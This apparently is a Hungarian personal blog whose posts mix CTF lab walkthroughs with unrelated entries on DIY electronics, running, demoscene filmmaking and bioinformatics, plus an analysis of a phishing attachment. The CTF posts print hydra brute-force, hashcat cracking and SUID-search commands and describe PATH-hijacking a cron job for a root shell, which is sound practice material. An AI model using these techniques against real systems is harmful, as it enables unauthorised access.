A cron lefuttatja a kódunkat, és a második reverz shell is elindul archangel jogaival. Könnyedén megnézhetjük a második user flag-et. Itt lesz pár megtévesztő helyzet. Pl passwordbackup, ami félrevihet minket, de előbb-utóbb ráakadunk egy suid jogokkal megáldott binárisra a felhasználó fájljai között backup néven. Ha elindítjuk, panaszkodik, hogy nem ér el bizonyos fájlokat.

A visszafejtésével nem érdemes vesződni, de azért belenézhetünk:

strings backup

Hoppá, megpróbál fájlokat másolni, de a /home/users/archangel könyvtárból, ami a rendszeren nem létezik. Ha az elérési utakat nem tudjuk módosítani, akkor készítsünk egy cp parancsot. A korábbi echo-s trükkel hozzunk létre egy szkriptet, aminek cp a neve. Ez is egy reverz shell lesz, de ne a 9001-es, vagy 4444-es, hanem valami más porton. Előtte persze indítsunk egy újabb nc-t a saját gépünkön, ami figyeli az adott portot. Ez lesz a harmadik reverz shell.

Ha kész a cp szkript, akkor vegyük előre a PATH-ban:

export PATH=/home/archangel/secret:$PATH

Majd indítsuk el a backup-ot. Elindul a root shell! A root flag könnyedén olvasható.

Szólj hozzá!

Címkék: biztonság

Hacker vs Hacker CTF

2024.07.28. 11:57 Travis.CG

A hollywood-i filmekből ismerős lehet a következő helyzet: Az éjszaka közepén egy elsötétített szobában napszemüveges csávó hekkel ezerrel, amikor rájön, hogy másvalaki is hekkeli a rendszert. És akkor nagyon nyomogatják a billentyűket, hogy megtudják, ki a jobb.

Ezt a helyzetet igyekszik visszaadni a következő CTF. A sztori szerint egy hekker már bent van a rendszerben, nekünk a hekkelt rendszert kell felhekkelni.

Először tároljuk az IP címet a $IP változóba, majd szokás szerint végignézzük, milyen nyitott portok vannak:

nmap -sS -Pn --top-ports 100 $IP

SSH és web. Semmi rendkívüli. Az oldal alján rögtön van egy fájl feltöltési lehetőség, de bármivel is próbálkoztam, semmit nem lehet feltölteni. Az oldal forráskódja szerint a feltöltött tartalmak a /cvs könyvtárban vannak, de az nem listázható. Végigfuttattam rajta egy könyvtár keresést gobusterrel, de semmit nem találtam.

Az uploads.php-nek kellene végezni a feltöltést, kommentben ott van az eredeti szkript forráskódja, ami még a hekker támadás előtt működött. A forráskód elemzéséből az látszik, hogy a szkript csak azt nézte, hogy a fájlnévben legyen egy .pdf, de azt nem, hogy az a végén legyen. A hekker biztos feltöltött valamit, ami .pdf.php-re végződött, majd módosította a szkriptet, hogy mi már ne tudjunk belépni.

Lehet, hogy a szkript, amit használt még mindig ott van? Kipróbáltam a revshell.pdf.php-t, de az nem működött. de a shell.pdf.php válaszolt! Valami GET-es paraméter kell neki. A legnyilvánvalóbb jelölt a cmd. Kipróbáltam és ez is működött! Most már lehet egyszerű parancsokat futtatni a gépen. A /home könyvtárban meg is lehet nézni a felhasználó user.txt fájlját, mai az első feladat!

Oké, eddig jó, de be kellene lépni. A felhasználó .bash_history fájlját is meg tudjuk nézni, amiben szerencsére benne van, hogy mire módosította a jelszót a hekker. Szuper! Ha belépünk ssh-val, akkor kb. 3 másodperc múlva egy nope üzenet kíséretében kidob. A hekker valami csapdát rejtett el!

Ha még egyszer megnézzük a shell.pdf.php-vel a .bash_history-t, akkor látjuk, hogy még a jelszó változtatás előtt valamit írt az /etc/cron.d/persistence fájlba. A tartalmát is megnézhetjük a php szkript segítségével. Van egy for ciklus, ami 10 másodpercenként kinyírja a /dev/pts-t használó folyamatokat! Tehát nem tudunk pseudoterminált létrehozni!

Azért nincs minden veszve! Az ssh így is tud parancsokat futtatni. Például:

ssh $user@$IP /bin/bash

És máris van egy stabil shell. Nem a legjobb, de legalább nem dob ki minket. Most legalább van idő körülnézni. Bár egy csomó dolgot kipróbáltam, a megoldás végig a szemem előtt volt, már a /etc/cron.d/persistence fájl első megtekintésénél. A legfontosabb, hogy a PATH változóban a felhasználó bin könyvtára van a legelső helyen! Tehát a pseudoterminált kinyíró pkill parancsot ki tudjuk cseréni saját szkriptre, mert ez az egyetlen, amit nem abszolút elérhetőséggel adtak meg! A felhasználó bin könyvtárában lévő pkill root jogokkal fog futni!

Mivel elég limitáltak a fájl szerkesztési feltételek, ezért a saját gépen hoztam létre a fájlt, majd scp-vel felmásoltam. Itt még bénáztam egy sort, mert először nc-vel akartam létrehozni a reverz shellt, csakhogy a gépen lévő verzió egy őskövület volt, ami nem ismert egy csomó kapcsolót, végül a python verziót használtam innen.

De ez még nem elég, mert a pkill csak az utolsó parancs, ami lefut. Ismét kapcsolódni kell ssh-val, de a /bin/bash parancs nélkül, hogy a rendszer eljusson a pkill parancsig. Amikor megpróbálja kinyírni a terminált, helyette elindít egy root shell-t.

Utána már írhatja a képernyőre, hogy nope, ahányszor csak akarja, engem nem zavar. A root.txt olvasható.

Csak, hogy hűek maradjunk a hollywood-i klisékhez, még beírhatjuk:

wall "Mess with the best, die like the rest."

Szólj hozzá!

Címkék: biztonság

Ez a való élet, nem egy CTF

2024.07.23. 11:49 Travis.CG

Hétfőn furcsa levél jelent meg az egyetemi emailcímemen. Látszólag a Nemzeti Egészségbiztositási Alapkezelőtől, aláírás vagy bármi más nélkül. Az üzenet feladója a igazolt.jelentkezo. A levél gond nélkül átment az egyetem víruskeresőjén, még a plecsnit is megkapta, hogy biztonságos. Ráadásul mintha az előző hetekben kaptunk volna valami levelet, hogy kedvezményes egészségbiztosítást igényelhetnek az egyetemi dolgozók, szóval megnyitás előtt nem volt gyanús.

Utána már furcsa volt, hogy nincs megszólítás, kezdtem sejteni, hogy ez valami kártékony dolog. A levél fejlécét letöltve semmi gyanúsat nem láttam. Nem volt benne olyan, hogy a válaszcím máshova szól, mint a feladó. Sajnos, mióta az egyetem átállt Office365-re, a feladó eredeti IP címe nem elérhető, ezért azt nem láttam.

Egy attachment volt benne: megerősítés.tar. Ezt nem értettem, miért küldenének egy tar állományt? A legtöbb felhasználó Windows-t használ, a tar nem mond nekik semmit. Letöltöttem.

A második megdöbbentő dolog az volt, hogy ez nem tar, hanem egy tar kiterjesztésű Rar. Ezt még inkább nem értettem. A Rar nem alapértelmezett tömörítő. Ha azt akarnám, hogy minél több embert fertőzzön meg, Zip-et használnék. Bár igaz, akkor a vírusirtók is könnyebben azonosítják.

A harmadik furcsaság, hogy a fejlécben van egy utalás egy pdf állományra. De ezt a pdf-t nem lehet kicsomagolni!

fejlec.png

Ha megnézzük az unrar l paranccsal, akkor egy megerosites.cmd-t látunk csak. A csomagolás dátuma két órával előzte meg az email érkezését, szóval nem vesztegették az idejüket.

Kicsomagoltam a tar-nak álcázott rar állományt, és megnéztem a megerosites.cmd-t, de azt totál nem értettem. Olyan érzés lehetett, mint amikor Dr. Dyson megkapta a Terminator központi processzorát. Azt hittem valami shell szkript lesz, de nem az volt. Egy COMCOM állomány volt az első pár byte, ami elképzelni sem tudom, hogy mi lehet. Két napig túrtam a netet, hátha megtudom, mi lehet ez, de eredménytelenül. A rejtélyes fejlécet két windowsos parancs követi: cls és set, majd obfuszkált kód. A legvégén van egy digitális aláírás.

Arra gondoltam, a kód írója biztos egy létező obfuszkátort használt, ezért elkezdtem keresni ilyen programokat. Gyorsan találtam is egyet, ami elég hasonló kódot generált a képek alapján. Ekkor kezdtem megérteni, mi is történik. Létrehoznak egy változót, aminek a neve nem ASCII karakterekből áll, mert hát megtehetik. Ebbe belepakolnak egy látszólag random sztringet. A Windowsban van egy olyan lehetőség, hogy ennek a sztringnek egy részét kiszedjék:

%valtozo:~start,hossz%

Az obfuszkált kódban a hossz minden esetben 1 volt. Tehát a forráskód további része karakterenként épül fel az első változó alapján. Oké, akkor írok egy deobfuszkátort ez alapján. Gondoltam én naiv! Azért kíváncsi voltam, hányféle karakterből áll a forráskód, ezért a következő egysorossal szétbontottam:

sed 's/%%/%\n%/g' megerosites.cmd | less

Mivel minden változó után egy következő változó kezdődik, ezért a %% mentén beszúrtam egy újsor karaktert. Az eredmény elkeserítő volt. Az első változó neve 0xC4 0xC5 0xC7 0xC9 (hex kódokkal), de utána kerültek elő más változónevek is. Ez a deobfuszkálás bonyolultabb, mint gondoltam! Nézzük meg, más már megoldotta-e a feladatot.

Nincs valami sok a kínálatban, azok is elég régiek. Végül ezt válaszottam, mert Python, ezért fut Linux alatt is, és csak két éves. Nos, az eredmény, amit adott nem tökéletes.

decode1.png

De már látszanak olyasmik, hogy CLEAN.GIF. A qQpzQ\EJSR pedig többször is előfordul, mintha valami elérési út lenne. A dolgot tovább bonyolítja, hogy bizonyos változóneveket később felüldefiniál a szkript, hogy még jobban megnehezítse az ember dolgát.

Egy kiberbiztonsággal foglalkozó Discord szerveren kértem segítséget, hátha van valami más megoldás, ami elkerülte a figyelmemet. Egyetlen ember válaszolt, hogy használjam az IDA Pro-t. Köszi, mintha nem írtam volna le, hogy Windows batch fájlról van szó, nem binárisról.

Úgy tűnik, nem úszom meg, hogy saját deobfuszkálót írjak. A gond az ilyen munkával az, hogy véget nem érő feladat. Csak elkezdeni lehet, befelyezni nem. Ennek ellenére megpróbálok írni egyet, ami nem lesz jó minden esetre, de erre a speciális esetre talán működni fog.

Szólj hozzá!

Címkék: biztonság

A kütyüknek is melegük van

2024.07.17. 08:53 Travis.CG

A nyári meleg nem csak az emberi szervezetet viseli meg, de az elektronikai eszközöknek működésére is kihat. Az ember néz egy kis demót, vagy játszik, mire a gép úgy felmelegszik, hogy alig lehet hozzá érni. El is távolítottam az asztali gép oldalát, hogy jobb legyen a szellőzése.

A net is akadozott, mert a router folyamatosan újraindult. Nem értettem, miért, egészen addig, míg hozzá nem értem. Forró volt. Kérdezte is a feleségem, hogy nem lehetne-e ventillátort szerelni rá.

Nos, a helyzet az, hogy lehet. Egy régi tápegység ventillátorra esett a választásom, ami 12V-on működik. Forrasztottam a drótok végére egy-egy banándugót, hogy később megfelelő módon tudjam csatlakoztatni. Most viszont gyorsan kellett a megoldás, ezért az átalakított tápegység krokodilcsipeszes kivezetésével hajtottam meg. Nem szép, de működik.

hutes.jpg

Szólj hozzá!

Címkék: barkácsolás

Belefutottam egy alkalmassági vizsgálatba

2024.07.11. 20:33 Travis.CG

Általában a várostól távol szoktam futni, kerülöm a népes csomópontokat. Egyik nap viszont kipróbáltam a városi futókört, mert az a pálya közel sík, nincs benne annyi emelkedő, én pedig kiváncsi voltam, az mennyit javít az időmön.

A pálya elméletileg egy kilóméteres kör, de az okosóra szerint csak 850 méteres. Ezt a különbséget egyébként az óra minden körben következetesen tartotta is.

Már az első kör végénél láttam, hogy fiatalok gyülekeznek, akikre két terepruhás katona felügyelt és fekete pólós instruktorok magyaráztak nekik. A második körömnél a csoport egyik fele felüléseket végzett, a nem gyakorlatozók fogták a felülést végzők lábát. A harmadik körnél csere volt.

Közben ők is oda-odanéztek rám. Szerintem ötvenen lehettek.

A negyedik körnél eltűnt mindenki, csak a papírokat és az ivókulacsokat hagyták ott. A fekete pólós felügyelőket a start-célvonalnál láttam meg. Valamennyire a pálya egy részét is beláttam, de egyetlen futót sem tűnt fel, amiből arra következtettem, hogy kb. 500 méter előnyöm lehetett. A felügyelők közbe röhögtek, mikor megláttak. Gondoltam, milyen jó poén lenne, ha Amerika Kapitányként elfutnék mellettük.

Nem így történt. Az első két ember az ötödik körnél ért be. A pályaetikett szabályai szerint lehúzódtam, hogy ne rajtam múljon a felvételi. Akkor már kezdtem fáradni, 7-8 perces kilómétereket mentem csak. A hatodik körnél ért be az első nő is. Utána próbáltam azért gyorsítani, hogy nehogy lekörözzenek, de így is megelőztek még hárman.

A felvételizők három kilómétert mentek összesen. Miután összepakoltak, és elmentek, még három kört mentem. Az órám szerint az első három kilómétert hat és fél perces kilóméterekkel futottam le, tehát 19,5 perc alatt teljesítettem volna a távot.

Szerintem területvédelmisek voltak. Kíváncsi voltam, mi lehetett a minimum követelmény, de erre nem találtam semmit a neten. Az egyetlen támpont a hadkieg oldala volt, de ott 3200 métert írtak futásra. Ezen kívül felülés és karhajlítás volt két perc alatt. Gondoltam megnézem, hogyan teljesíteném azokat a feladatokat. Karhajlítás 46 darab volt, felülés 65 darab. Nem is rossz, egy (öreg)embertől.

Szólj hozzá!

Címkék: sport

Készülődés Assemblyre

2024.07.02. 20:11 Travis.CG

A hazai demopartyk száma megfogyatkozott, viszont nekem több ötletem is van, amit érdemes lenne megvalósítani. Sajnos az ötletek mind wild és/vagy videó kategóriába tartoznak. Amikor nézegettem az Assembly kiírását, feltűnt, mennyi kategóriában fogadnak remote entry-t. Rögtön meg is született a döntés: az egyik rövidfilmet beadom Assembly-re.

A forgatókönyvet pár hónappal korábban már megírtam egy unalmas délutánon, azóta kicsit reszelgettem is, ezért már pontosan tudtam, milyen jeleneteket akarok. Még korábban pedig még Grassnak is elmondtam az ötletemet, hogy egyáltalán érdemes-e megvalósítani. Nem akarok még egyszer abba a hibába esni, hogy a közönség csak néz, és nem ért semmit, mint a Rupture paródiámnál.

Az első probléma, hogy szükségem volt szárazjégre. Szárazjégnek lennie kell, vagy nincs film! Ez nem akkora probléma, mert a laborok a hűtést igénylő mintákat szárazjégbe ágyazva kapják. Rendszeresek a körlevelek, hogy a felesleges szárazjeget a folyosóról el lehet hozni. A gond csak az, hogy nem tudni, mikor kap valamelyik csoport szárazjeget.

Pont egy pénteki este néztem meg a levelezést, amikor írták, hogy van szárazjég. De akkor már nem volt kedvem visszamenni. Egész hétvégén evett a fene, hogy elszalasztottam egy ilyen remek alapanyag beszerzési lehetőséget. Hétfőn viszont arra gondoltam, talán a hétvégét kibírja az a szárazjég, és nekem szerencsém lesz. Felvettem a felszerelést és bementem a melóhelyre. Reggel még nem szokott senki bent lenni, tehát nyugodtan tevékenykedhettem.

A szárazjég megvolt. Nem sok maradt, de amennyi nekem kellett, annyi volt. Gyorsan felvettem a füstölgő jeleneteket. Még arra is maradt idő, hogy megismételjem a felvételeket. Legyen elég alapanyag a vágáshoz.

Viszont keletkezett egy másik probléma. Mivel nem volt meg az összes felvétel, más napokon is kell majd forgatnom! De én nem a Batman vagyok, hogy a szekrényemben csupa egyforma ruha legyen! Kénytelen voltam az izzadt, büdös pólót a munkahelyemen tárolni, hogy amikor ismét lesz időm forgatni, akkor kéznél legyen. Még szerencse, hogy a kamera nem rögzít szagot!

A harmadik probléma egy animált arc megjelenítése volt. Először Blenderben akartam elkészíteni. A modellezés nem volt túl nehéz, a mimika viszont annál inkább. Lassan és gyötrelmesen ment. Végül úgy döntöttem, inkább én leszek az animált arc, és addig effektezem a felvételt, amíg elég mű hatása lesz. Ez gyorsabb megoldásnak ígérkezett.

Még két 2D animáció fog kelleni. Először procedurálisan akartam megoldani, de az is túl sok időbe kerül, miközben a megtérülő haszon minimális. Végül néhány videó megtekintése után úgy döntöttem, azokat Blenderben fogom megcsinálni.

Szólj hozzá!

Címkék: demoscene

A bioinformatikus megmondta

2024.06.23. 19:49 Travis.CG

Habár egy kutatómunka több ember együttes munkájának az eredménye, a legtöbb bioinformatikus szeret leválasztani egy szeletet ebből a munkából és arra úgy tekint, mint a saját játékára. Mint amikor az ovisok együtt homokoznak ugyan, de azért lapátjukkal demarkációs vonalakat húznak.

Ezt a hozzáállást akkor lehet tetten érni, amikor valaki mással megismételtetik a vizsgálatot, amit a bioinformatikus végez. Ez egy nyílt sértéssel ér fel. Régebben még én is ilyen voltam, de mostanában már nem zavar, mert tudom, hogy amit csinálok az jó (köhöm köhöm), másrészt élvezet látni, ahogy valaki szenved és kínlódik, mert az elvárásait a valóság tönkre zúzza.

Az alapszituáció a szokásos volt: Sok adat, kevés munkaerő, minden tegnapra kell. Ez utóbbi természetesen csak a bioinformatikusokra vonatkozik, a laborosok heteket is ülhetnek a válaszokon.

Ebben a miliöben kellett lefuttatni egy csomó nagy lefedettségű targetált szekvenálást. Az smCounter2-t használtuk, amiről korábban csupa jót zengtem. Annyit módosítanék, hogy a Qiagen a cikk elfogadása után törölte a programot a Githubról, úgyhogy az már csak a cég szolgáltatásán keresztül érhető el. Tehát cloud ide-vagy oda, a jó öreg Letöltés gomb még nem fog kimenni a divatból. Szerencsére volt biztonsági mentésem a repóról, ezért mi gond nélkül használhattuk.

Az eredménnyel mégis probléma volt. Nem találtunk a "kedvenc" génben mutációt. Mert minden laborosnak van egy kedvenc génje, amibe mutációnak kell lenni, ha törik, ha szakad. Ilyen esetekben a megbeszélések során verni szokták az asztalt, hogy ismételjük meg a vizsgálatot ilyen-olyan beállításokkal. Most viszont egyszerűen megbíztak egy másik bioinformatikust titokban. Legalábbis nekünk elfelejtettek szólni.

Talán soha nem jöttünk volna rá, mi is történt, ha egy levelezésbe véletlenül bele nem kerülünk, ahol kiderült, hogy még azokat a mutációkat sem sikerült a másik csoportnak megtalálni, amit mi megtaláltunk. Ennek pedig az volt az oka, hogy a másik csapat nem az smCounter2-t használta, hanem valami saját tákolmányt, ami az UMI információkat teljesen figyelmen kívül hagyta. A PCR duplikátumok pedig jóságosan elfedték a valódi jelet.

Végül, ha már belekerültünk a levelezésbe, akkor szépen átbeszéltük a metodológiát, és a végén ők is megtalálták ugyan azt, amit mi, de a "kedvenc" génből ugyan úgy hiányzott az a nyamvadt mutáció. Hiába, nem vagyunk a Mátrixban, hogy a kanál (illetve esetünkben a DNS) meghajoljon az akaratunknak.

A tanúság, hogy a tudományos kutatásban az egót félre kell tenni. Akkor is, ha ellentmondanak a hipotézisnek, és akkor is, ha az eredményeinket mások ellenőrzik. A kommunikáció pedig fontos, mert előbb-utóbb úgyis kiderülnek a rejtett manőverek. Túl kicsi a kutatói közösség ahhoz, hogy sokáig rejtve maradjanak a titkok.

Szólj hozzá!

Címkék: bioinformatika

Jack of all trades CTF

2024.06.17. 20:30 Travis.CG

Ha sikerül segítség nélkül megoldani egy CTF-et, az tök jó. Ha közben még jól is lehet szórakozni, az még jobb. A Jack-of-all-Trades pont egy ilyen feladat.

Először végigszkenneltem a portokat:

sudo nmap -sS -Pn -sV --top-ports 100 $IP

Csak két port volt nyitva. A 22-es és a 80-as, de a funkciókat felcserélték! Szóval ez egy vicces CTF lesz. Akkor nem árt még egyszer átnézni mindent, hogy az összes rejtett poént kiderüljön.

sudo nmap -sS -Pn -p- $IP

De más nem volt nyitva. A Firefoxnak elég nehéz volt elmagyarázni, hogy mi akkor is böngészni akarunk a 22-es porton, ha az problémát okoz a lelki világának. Az about:config lapot megnyitva, fel kell venni egy új bejegyzést: network.security.ports.banned.override, és ennek meg kell adni a 22-t.

Utána már láthatjuk az oldalt. Jackről megtudjuk, hogy játékokat készít és imádja a dínókat. A forráskódban lesz egy base64 kódolt üzenet, benne egy jelszóval. Ezt érdemes elmenteni. Meg kellene tudni, hogy mihez kaptuk ezt a jelszót! Ugyancsak a forráskódban lesz egy rejtett link is.

A linket megnyitva felhasználó név és jelszó párost kell megadni. Az előzőleg kapott jelszót és a jack nevet használva nem jutunk be, sőt még hibaüzenet sincs, úgyhogy a hydra-t nem tudjuk használni. A forráskódban itt is van rejtett szöveg. A base32 csak az első lépcsőfok, utána még hex is kell. Legalábbis a Cyberchef magic modulja ezt meg tudja állapítani. Ha jobban megnézzük a szöveget, akkor mintha egy link is lenne benne. Tehát van még egy kódolási szint. Jobb híján a rot13-t próbáltam ki, és bingó! Olvasható lett a szöveg.

A leírás szerint a belépéshez szükséges infó a főoldalon van. Segítségként belinkelték a Stegosauridák wikipédia oldalát. Ennek nyomán megpróbáltam a korábban megtalált jelszót és a stegosaur-t, mint felhasználó nevet a bejelentkezésnél. Nem engedett be. Már épp azon keztem el agyalni, hogy talán a wikipédia oldal teljes szövegéből készítek egy felhasználó név listát, amikor eszembe jutott, hogy a főoldalon is egy Stegosaurus képe van.

Aztán idővel leesett a poén is, mint stego! Szteganográfia van a Stegosaurus képben! Mondtam én, hogy vicces CTF lesz ez! A jelszó tehát a képhez kell!

steghide extract -sf stego.jpg

Majd jött az újabb poén:

Hehe. Gotcha!
You're on the right path, but wrong image!

Szóval nem is a Stego a sztego. Valamennyi képet átnézve végül megvan a felhasználónév és a jelszó is. Ha belépünk a recovery.php-n, akkor a következő üzenetet kapjuk:

GET me a 'cmd' and I'll run it for you Future-Jack.

Szóval GET-es paraméterekkel kell parancsokat kiadni. Értem! A home könyvtárban van egy érdekes fájl, potenciális jelszavakkal. Az /etc/passwd fájlból pedig tudjuk a felhasználói nevet. Oké, mégis csak használni fogjuk a hydrát.

hydra -l jack -P jacks_password_list -s 80 $IP ssh

Csak 25 jelszót kell végignézni, gyorsan bejutunk. A felhasználói zászló a szokás CTF-ekkel ellentétben nem egy txt fájl volt, hanem egy jpg kép. Ebből megtudjuk, hogy Jack pingvin-leves recepttel rendelkezik. Mivel lusta voltam, egy online OCR olvasóval szedtem ki a flag-et. Lássuk, milyen titkok derülnek ki még Jackről!

Jack nem sudo-zik, ezért elsőre suid fájlokat kerestem.

find / -perm -u=s 2>/dev/null

Meglepetésemre a strings suid bites. Hmm, mire lehet használni ezt? Valami bináris fájlban kell kutatni? Aztán megint leesett. A strings sima cat-ként működik egy ASCII fájlon. Akkor talán a root flagat is megtudjuk? Általában root.txt szokott lenni, kipróbáltam, hátha szerencsém lesz.

Bingó! Jack nem csak megeszi a pingvineket, de a bőrükből szőnyeget készít, és egy hullát is rejteget a pincében. Enyje, Jack, most lebuktál.

Szólj hozzá!

Címkék: biztonság

Laptop akkumulátor javítás

2024.06.09. 18:10 Travis.CG

Az egyik laptopom egy 2000-ből származó Compaq Armada 100S, amit az intézet elektronikus hulladékai között túrtam. Természetesen az akkumulátora döglött volt. Hálózati feszültségről simán megy, de kicsit kényelmetlen, hogy minden egyes indítás alkalmával a BIOS beállításokkal kell vesződni, ezért elhatároztam, hogy megjavítom az aksit.

Ennél a modellnél az aksi a laptop alja, konkrátan az egyik gumi talp az akkumulátor része. Szerencsére a 2000-es években még nem öntötték műanyagba az egész aksit, ezért egy éles pengével az illesztések mentén le tudtam vágni a tetejét.

aksi1.png

Az aksi belsejében 9 darab sorba kötött Ni-MH cella található, egy elektronika, illetve egy dióda. A leírás alapján az aksi 10.8 V feszültséget ad le, ez alapján egy cella 1.2V feszültséggel üzemel, 4000mAh üzemidővel. Kis utánajárással ilyen cellákat lehet rendelni (sőt, lehet kapni 4800mAh-t is, de az nem volt raktáron). Forrfüleset rendeltem, mert azt gondoltam, azzal könnyebb dolgom lesz.

Amikor megérkeztek a cellák, megpróbáltam kettőt összeforrasztani a fülek mentén és nem sikerült. Egy ónpöttyöt még rá tudtam rakni a fülekre, de két fület nem tudtam összeforrasztani, pedig már a cellák is teljesen átforrósodtak a páka alatt. Kénytelen voltam YouTube továbbképzésre menni. A videók alapján a forrasztóvíz tűnt megoldásnak.

A közeli villamossági boltban nem volt forrasztó víz. Volt viszont forrasztó olaj, forrasztó zselé, forrasztó zsír. Végül az olaj mellett döntöttem, miután az eladóval ketten próbáltuk kitalálni, mire is lenne szükségem. El kell mondjam, tényleg megkönnyítette a forrasztást. Vettem még egy véső formájú hegyet is, ami jobban működött, mint a hegyes vég.

Az új cuccokkal simán összeforrasztottam mindent. Sajnos a dióda forrasztásánál kicsit elszámoltam magam, és nem olyan szögben sikerült rögzíteni, mint az eredeti celláknál volt, aminek az lett a következménye, hogy az összeforrasztott cellák összmérete nagyobb lett. Nehezebben fért bele a műanyag tokba. De egy kis gyömöszölés, nyomkodás segített.

Multiméterrel rámértem a végpontokra, és bizony nem érte el a 10.8 V-ot, csak 7.8 V-t. Ennek ellenére úgy döntöttem, összeszerelem, megpróbálom feltölteni, és csak ha minden jól megy, csak akkor ragasztom rá az akkumulátorra a fedelet.

Bevallom, egy kicsit félve adtam rá a feszültséget. Az első töltésnél nagyon melegedett, féltem, hogy esetleg a sok forrasztás nagyon felhevítette a cellákat, amit azért ezek nem szeretnek, és a végén kigyulladnak. Vagy valahol mégis zárlatosak, ami elkerülte a figyelmemet.

Második töltésre már nem melegedett. Minden rendben ment, a kis ledek is jól működtek. Gondoltam összeragasztom.

Még a makettezős időkből maradt egy műanyag ragasztó, azzal fogattam meg az akkumulátor tetejét, de csak a végén, hogy szükség esetén ne kelljen körbevágni az egészet, ha ismét javítani kell.

aksi3.png

Az üzemidő egy mai laptophoz képest gyatra. Az eredeti dokumentáció szerint is max 1 órát bír. Teljes töltöttség után 20 perccel már villog, hogy ideje feltölteni. Eddig 40 percig mertem akkumulátorról üzemeltetni. Dátumot és időt viszont nem kell állítani. Lakás nem gyulladt ki, összességében a projekt sikeresen zárult.

Szólj hozzá!

Címkék: barkácsolás

Brute It CTF

2024.06.02. 10:04 Travis.CG

Ez egy nagyon könnyed törős feladat volt, magam is meglepődtem, hogy még én is meg tudtam csinálni segítség nélkül.

Az első kérdés, hány nyitott port van. Ha valaki elég szemfüles, a többi kérdésből ki tudja találni, de azért álljon itt az nmap parancs:

nmap -sS -Pn -A -sV --top-ports 10 $IP

A kimenet segítségével az első négy kérdést simán meg lehet válaszolni, mert a -A megpróbálja meghatározni az operációs rendszert, az -sV pedig kiírja a szolgáltatások verzióját.

Meg kell keresni a rejtett webes könyvtárat:

gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://$IP/

De igazából olyan egyszerű, hogy három próbálgatással bárki megtalálná. A fenti parancs 10 másodpercen belül köpte a választ.

A következő feladat az admin felület törése volt. A forrásban van némi támpont, hogy ne kelljen a felhasználó nevet is próbálgatni.

hydra -l ****** -P /usr/share/wordlists/rockyou.txt 10.10.8.197 http-post-form "/*****/index.php:user=^USER^&pass=^PASS^:Invalid"

A felhasználó nevet és a könyvtárat kicsillagoztam, hogy azért más is dolgozzon :-)

Letötlhetjük az ssh kulcsot, de a passphrase-t nem kapjuk meg. A weboldalon van egy flag is. Szerezzük meg a passphrase-t:

ssh2john file >hash.txt

A hash.txt-t szerkeszteni kell, mert a fájl neve ott ficereg az elején, és ezt a hashcat nem szereti. Ugyanis én azzal törtem, mert jobban szeretem, mint John-t.

hashcat -a 0 -w 3 hash.txt /usr/share/wordlists/rockyou.txt

Pár pillanat alatt megvan a passphrase. Most már beléphetünk ssh-val. Belépés után a user flaget olvashatjuk. Jöhet a root. A sudo -l megmutatja, milyen programhoz van hozzáférésünk. Azzal a programmal meg tudjuk nézni az /etc/shadow állományt. Ha elmentjük a root hash-t, akkor a fenti hashcat paranccsal azt is törhetjük (feltéve, hogy az is a hash.txt-ben van). A root flaghez is használhatjuk azt a parancsot, amivel az /etc/shadow-t kiírattuk, mert általában a root.txt fájlba helyezik a flag-et.

sudo ***** /root/root.txt

Nagyon jó kis ebéd utáni feladatsor volt.

Szólj hozzá!

Címkék: biztonság

BSides 2024

2024.05.27. 18:06 Travis.CG

Gondoltam egyet és elmentem az idei BSides-ra. Párhuzamosan több konferencia is zajlott a helyszínen, ezért először nem találtam meg a megfelelő termet, de kiszúrtam néhány hosszú hajú, Linux pólós, hátizsákos embert, és rögtön tudtam, hogy őket kell követni, pedig még nem is láttam az agyonmatricázott laptopokat.

Megnéztem az első két előadást, majd ahogy a demópartiknál is megszoktam: "the real party is outside", szóval kimentem az előtérbe, hogy ott is körülnézzek. Összesen három kiállító volt: valami cég, akik terméket akartak rásózni emberekre, a hölgyek a WITSEC-től és a BRFK. Ők egy CTF-el is készültek, amit ki is próbáltam.

Az első néhány feladat teljesen szokásos volt: base64-el kódolt email cím, EXIF-be rejtett információ. Utána jöttek a komolyabbak. Bankszámla szám alapján kellett kitalálni, mi a bank irányító száma. A megfogalmazás nem volt tökéletes, mert én úgy értettem, a központi fiók címe kell, de kiderült, hogy azé a fióké, ahonnan az átutalás indult.

WhatsApp adatbázisból kellett kimenteni a titkos információt. Ez egy sima sqlite állomány volt, de annyi táblázat volt benne, hogy nem találtam a lényeget. Végül meguntam, és közvetlenül a binárisból kerestem ki a flag-et. (Nem volt nehéz, mert minden flag BRFK-val kezdődött.) Kellett egy PDF jelszót is törni, ez is gyorsan megvolt. Volt egy lementett hálózati forgalom, amit Wireshark-al kellett elemezni. Kicsit tartottam a feladattól, de elég volt a HTTP stream-et lementeni, és a válasz ott volt. Videóba is rejtettek el információt. Először végignéztem az egészet, de semmi hasznosat nem láttam, aztán egy hirtelen ötlettől vezérelve a strings-el kiírattam a sztringeket, és ott virított egy újabb BRFK flag.

Kettő feladattal viszont nem boldogultam. Az egyik egy kriptovaluta átutalás nyomon követése volt. Itt azzal akadtam el, hogy a MetaMask-ot nem tudtam beállítani. Bár lehet, hogy az volt a baj, hogy egy korábbi feladat megoldó valamit ügyködött. El kellett volna olvasni a tutorialokat.

A másik sikertelen feladat egy titkosított szöveg visszafejtése volt. Itt is egy csomó időt elvesztegettem, de nem tudtam rájönni a megoldásra. Valószínűleg több szakaszból állt a szöveg és mindegyiket másik módszerrel rejtjelezték.

Miközben oldottam a feladatokat, el-elkalandoztam, mert mellettem néhányan azt mutogatták a rendőröknek, hogyan tudják kinyitni a bilincset. Egy fél órával később valaki más is kereste a bilincset. Nem találta, ezért azzal vígasztalták: valakinek biztos jó estéje lesz.

A feladatok után szóba elegyedtem néhány benfentessel, akik miután megtudták, hogy genetikával foglalkozom, csak arról voltak hajlandóak beszélni. Többször tettem kísérletet, hogy a beszélgetést más mederbe tereljem, de nem sikerült, mindig visszakanyarodtunk a génekhez.

Az elmúlt kb. hat évben - ha apámat nem számoljuk - összesen nem kaptam ennyi kérdést a munkámról, mint itt. Ráadásul tájékozottságban simán lenyomták a hallgatóimat. Egyikük még az AlphaFold-ot is kipróbálta és nagyon tetszett neki a kapott térbeli szerkezet.

